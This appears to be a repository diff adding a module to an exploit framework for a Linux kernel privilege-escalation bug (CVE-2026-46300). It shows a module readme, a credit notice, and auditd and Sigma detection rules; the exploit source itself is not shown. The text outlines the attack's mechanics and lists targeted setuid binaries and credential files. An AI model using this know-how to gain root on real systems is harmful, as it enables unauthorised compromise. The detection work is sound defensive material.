Progress is logged with `[*]`/`[+]`/`[-]` prefixes, gated on `--json`.
|
||||
The exploit mechanism itself is reproduced faithfully.
|
||||
|
||||
## Verification status
|
||||
|
||||
This module is a **faithful port** of
|
||||
<https://github.com/v12-security/pocs/tree/main/fragnesia>, compiled
|
||||
into the SKELETONKEY module interface. The **exploit body** has not
|
||||
been validated end-to-end against a known-vulnerable kernel inside the
|
||||
SKELETONKEY CI matrix.
|
||||
|
||||
**`detect()` is now version-pinned**: the Fragnesia fix ships in
|
||||
mainline Linux **7.0.9** (Debian tracker source-of-truth, `linux
|
||||
unstable: 7.0.9-1 fixed`). The `kernel_range` table marks the 7.0.x
|
||||
branch patched at `7.0.9`; older Debian-stable branches (5.10 / 6.1 /
|
||||
6.12) are currently still vulnerable per the tracker. With `--active`,
|
||||
the detector runs the full ESP-in-TCP primitive against a `/tmp` file
|
||||
and reports empirically — catches stable-branch backports the version
|
||||
table doesn't know about, and CONFIG_INET_ESPINTCP=n kernels where the
|
||||
primitive is structurally unreachable.
|
||||
|
||||
**Before promoting to 🟢:** validate the exploit end-to-end on a
|
||||
≤ 7.0.8 kernel. Extend the `kernel_range` table with backport
|
||||
thresholds for 5.10 / 6.1 / 6.12 as distros publish them.
|
||||
@@ -0,0 +1,48 @@
|
||||
# NOTICE — fragnesia
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2026-46300** — "Fragnesia" ("Fragment Amnesia"). XFRM ESP-in-TCP
|
||||
local privilege escalation. `skb_try_coalesce()` fails to propagate the
|
||||
`SKBFL_SHARED_FRAG` marker when moving paged fragments between socket
|
||||
buffers, so the kernel loses track of the fact that a fragment is
|
||||
externally backed by page-cache pages spliced in from a file. The
|
||||
ESP-in-TCP receive path then decrypts in place, corrupting the page
|
||||
cache of a read-only file.
|
||||
|
||||
Fragnesia is a **latent bug exposed by the Dirty Frag remediation**:
|
||||
the candidate fix explicitly cites the Dirty Frag patch
|
||||
(`f4c50a4034e6`) as a commit it "fixes" — the Dirty Frag remediation
|
||||
made a previously latent flaw practically exploitable.
|
||||
|
||||
## Research credit
|
||||
|
||||
Discovered by **William Bowling** with the **V12 security** team.
|
||||
|
||||
> Reference PoC: <https://github.com/v12-security/pocs/tree/main/fragnesia>
|
||||
> Patch thread: <https://lists.openwall.net/netdev/2026/05/13/79>
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
`skeletonkey_modules.c` is a port of the V12 PoC
|
||||
(`xfrm_espintcp_pagecache_replace`) into the `skeletonkey_module`
|
||||
interface. The exploit primitive — the AES-GCM keystream-byte table
|
||||
built via AF_ALG, the per-byte IV selection, the userns + netns + XFRM
|
||||
ESP-in-TCP setup, the splice-driven sender/receiver trigger pair, the
|
||||
192-byte ELF payload — is reproduced from that PoC.
|
||||
|
||||
**Port adaptation:** the PoC's ANSI "smash frame" TUI
|
||||
(`draw_smash_frame` + terminal scroll-region escape sequences) is
|
||||
**not** carried over — it is incompatible with running as one module
|
||||
among many under a shared dispatcher. Progress is reported with
|
||||
SKELETONKEY's `[*]`/`[+]`/`[-]` log prefixes instead. SKELETONKEY also
|
||||
adds the detect/cleanup lifecycle, an `--active` probe, `--no-shell`
|
||||
support, and the embedded detection rules. Research credit belongs to
|
||||
the people above.
|
||||
|
||||
## Verification status
|
||||
|
||||
**Ported, not yet validated end-to-end on a vulnerable-kernel VM.**
|
||||
Requires `CONFIG_INET_ESPINTCP` and unprivileged user-namespace
|
||||
creation. The CVE-2026-46300 fix commit is not yet pinned in this
|
||||
module — see `MODULE.md`.
|
||||
@@ -0,0 +1,31 @@
|
||||
# Fragnesia (CVE-2026-46300) — auditd detection rules
|
||||
#
|
||||
# The XFRM ESP-in-TCP coalesce bug corrupts the page cache of a
|
||||
# read-only file. These rules flag the syscall surface the exploit
|
||||
# drives and writes to the setuid binaries it targets.
|
||||
#
|
||||
# Install: copy into /etc/audit/rules.d/ and `augenrules --load`, or
|
||||
# skeletonkey --detect-rules --format=auditd | sudo tee \
|
||||
# /etc/audit/rules.d/99-skeletonkey.rules
|
||||
|
||||
# Modification of common payload carriers / credential files
|
||||
-w /usr/bin/su -p wa -k skeletonkey-fragnesia
|
||||
-w /bin/su -p wa -k skeletonkey-fragnesia
|
||||
-w /usr/bin/mount -p wa -k skeletonkey-fragnesia
|
||||
-w /usr/bin/passwd -p wa -k skeletonkey-fragnesia
|
||||
-w /usr/bin/chsh -p wa -k skeletonkey-fragnesia
|
||||
-w /etc/passwd -p wa -k skeletonkey-fragnesia
|
||||
-w /etc/shadow -p wa -k skeletonkey-fragnesia
|
||||
|
||||
# AF_ALG socket creation (family 38) — builds the GCM keystream table
|
||||
-a always,exit -F arch=b64 -S socket -F a0=38 -k skeletonkey-fragnesia-afalg
|
||||
|
||||
# XFRM state setup over NETLINK_XFRM
|
||||
-a always,exit -F arch=b64 -S sendto -k skeletonkey-fragnesia-xfrm
|
||||
|
||||
# TCP_ULP espintcp + ESP setsockopt surface
|
||||
-a always,exit -F arch=b64 -S setsockopt -k skeletonkey-fragnesia-sockopt
|
||||
|
||||
# splice() drives page-cache pages into the ESP-in-TCP stream
|
||||
-a always,exit -F arch=b64 -S splice -k skeletonkey-fragnesia-splice
|
||||
-a always,exit -F arch=b32 -S splice -k skeletonkey-fragnesia-splice
|
||||
@@ -0,0 +1,30 @@
|
||||
title: Possible Fragnesia exploitation (CVE-2026-46300)
|
||||
id: 9b3d2e71-skeletonkey-fragnesia
|
||||
status: experimental
|
||||
description: |
|
||||
Detects the file-modification footprint of the Fragnesia XFRM
|
||||
ESP-in-TCP page-cache write (CVE-2026-46300): non-root modification
|
||||
of a setuid-root binary or credential file, typically inside a
|
||||
freshly created user + network namespace.
|
||||
references:
|
||||
- https://github.com/v12-security/pocs/tree/main/fragnesia
|
||||
- https://lists.openwall.net/netdev/2026/05/13/79
|
||||
logsource:
|
||||
product: linux
|
||||
service: auditd
|
||||
detection:
|
||||
modification:
|
||||
type: 'PATH'
|
||||
name|startswith:
|
||||
- '/usr/bin/su'
|
||||
- '/bin/su'
|
||||
- '/etc/passwd'
|
||||
- '/etc/shadow'
|
||||
not_root:
|
||||
auid|expression: '!= 0'
|
||||
condition: modification and not_root
|
||||
level: high
|
||||
tags:
|
||||
- attack.privilege_escalation
|
||||
- attack.t1068
|
||||
- cve.2026.46300
|
||||
File diff suppressed because it is too large
Load Diff
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user